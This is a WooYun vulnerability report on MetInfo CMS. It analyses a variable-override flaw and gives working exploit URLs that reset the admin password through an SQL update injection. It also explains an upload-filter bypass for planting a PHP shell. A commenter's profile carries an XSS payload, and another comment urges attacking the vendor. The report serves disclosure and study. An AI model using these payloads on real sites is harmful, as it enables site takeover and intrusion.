当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2013-43795

漏洞标题: metinfo多个漏洞(可getshell)

相关厂商: 长沙米拓信息技术有限公司

漏洞作者: b4dboy

提交时间: 2013-11-30 20:46

公开时间: 2014-02-28 20:47

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误 php源码审核

7人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-30: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-02-28: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

程序多个缺陷导致getshell

详细说明:

1、审计代码我一般喜欢先看核心文件。

code 区域
define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
isset($_REQUEST['GLOBALS']) && exit('Access Error');
require_once ROOTPATH.'include/global.func.php';
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}



include\common.inc.php 大概从21行开始程序使用了伪register_globals机制,

程序判断了key的第一个字符是不是“_”来避免覆盖系统全局变量,以及使用自定义函数daddslashes来避免注入。

code 区域
function daddslashes($string, $force = 0,$metinfo) {
global $met_sqlinsert;
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
if(!is_array($string)){
$string_old = $string;
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("~","/",$string);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string_html=$string;
$string = strip_tags($string);
if($string_html!=$string){
$string='';
}
$string = str_replace("%", "\%", $string); //
/*
if(strlen($string_html)!=strlen($string)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}
*/
if(strlen($string_old)!=strlen($string)&&$met_sqlinsert){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Submitted information is not legal!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}
$string = trim($string);
}
if($id!=""){
if(!is_numeric($id)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}}
if($class1!=""){
if(!is_numeric($class1)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}}
if($class2!=""){
if(!is_numeric($class2)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}}
if($class3!=""){
if(!is_numeric($class3)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Parameter Error!'); location.href='$reurl'; </script>");
die("Parameter Error!");
}}
return $string;
}



虽然无法覆盖系统全局变量,以及一些注入被过滤,但还是埋下了安全隐患。



2、变量未初始化以及extract函数使用不当。

在common.inc.php文件随后的代码里包含了一个config.inc.php的文件, 看名字就知道是一些初始化变量配置, 程序员将应用程序所需变量

放在了register_globals机制之后声明估计就是怕变量被覆盖.但是config.inc.php的一个数组$settings却忘记了初始化.

code 区域
/*读配置数据*/
$query = "SELECT * FROM $met_config WHERE lang='$lang' or lang='metinfo'";
$result = $db->query($query);
while($list_config= $db->fetch_array($result)){
if($metinfoadminok)$list_config['value']=str_replace('"', '&#34;', str_replace("'", '&#39;',$list_config['value']));
$settings_arr[]=$list_config;
if($list_config['columnid']){
$settings[$list_config['name'].'_'.$list_config['columnid']]=$list_config['value'];
}else{
$settings[$list_config['name']]=$list_config['value'];
}
if($list_config['flashid']){
$list_config['value']=explode('|',$list_config['value']);
$falshval['type']=$list_config['value'][0];
$falshval['x']=$list_config['value'][1];
$falshval['y']=$list_config['value'][2];
$falshval['imgtype']=$list_config['value'][3];
$met_flasharray[$list_config['flashid']]=$falshval;
}
}
@extract($settings);





在没有初始化的情况下又使用了extract($settings),结合前面的register_globals机制这样就导致多个变量可以被覆盖掉从而控制整个程序逻辑.



3、sql注入绕过。

前面的防注入函数里可以看到替换了一些常用的关键字,使注入的难度增加了,但那仅仅只对sql语句的where之后注入有所防范。

对于可以覆盖系统变量的咋们来讲就不太管用了而且无视GPC,sql注释符也没有过滤。

为了降低攻击成本我挑了一处最容易实现攻击地方,一个update的sql语句。

在 include\hits.php的25行左右。

$query = "update $met_hits SET hits='$hits_list[hits]' where id='$id'";

覆盖掉$met_hits变量就可以update任何数据表,如修改管理员密码。

hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23

使用密码1登陆后台拿shell,再把管理员密码改回来。

hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_pass=admin_introduction+WHERE+id=1%23



4、上传饶过。

刚刚说到的后台拿shell,前台也可以并且无须登验证,程序在多个地方存在上传功能,虽然使用了黑白名单的过滤机制但是并无完善。

白名单可以使用前面的update注入点向met_config表添加一个我们想要上传的后缀即可。我们来看看黑名单。(job\uploadfile_save.php)

code 区域
$met_file_format=str_replace("php","",strtolower($met_file_format));
$met_file_format=str_replace("aspx","",strtolower($met_file_format));
$met_file_format=str_replace("asp","",strtolower($met_file_format));
$met_file_format=str_replace("jsp","",strtolower($met_file_format));
$met_file_format=str_replace("js","",strtolower($met_file_format));
if($met_file_format != "" && !in_array(strtolower($ext), explode("|", strtolower($met_file_format)))){
okinfo('javascript:history.go(-1);',$lang_js23);
}





$met_file_format是在数据库里设置的白名单,此处程序将一些常用脚本后缀给替换了,但是存在明显逻辑错误。

错误1程序将危险后缀替换成空,错误2替换顺序混乱。如果我想上传php脚本后门只需要update白名单为:

rar|zip|doc|pdf|jpg|xls|png|gif|mp3|jpeg|bmp|swf|flv|ico|pphpaspxhp



pphpaspxhp经过第一轮替换变成paspxhp, 第二轮替换就变成了php. 文件名使用了时间+三位随机数字可以选择爆破也可以去后台直接查看文件名。

漏洞证明:

修改管理员密码为1

http://**.**.**.**/include/hits.php?type=img&settings[met_img]=met_admin_table+SET+admin_introduction=admin_pass,admin_pass=md5(1)+WHERE+id=1%23

修复方案:

初始化变量,判断要严谨。

版权声明:转载请注明来源 b4dboy@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-02-28 21:32 | Coffee ( 普通白帽子 | Rank:144 漏洞数:15 | Corie, a student at THU.)
    1

    分析的不错,值得学习

  2. 2014-02-28 23:22 | diguoji ( 普通白帽子 | Rank:397 漏洞数:101 | 中国吉林长春)
    1

    亏得洞主写这么多,像这样的厂商就应该直接把它内网搞挂了。

  3. 2014-03-12 11:54 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    1

    洞主功力深厚阿

  4. 2015-02-01 20:31 | sin ( 实习白帽子 | Rank:38 漏洞数:2 )
    0

    大牛风范...

登录后才能发表评论,请先 登录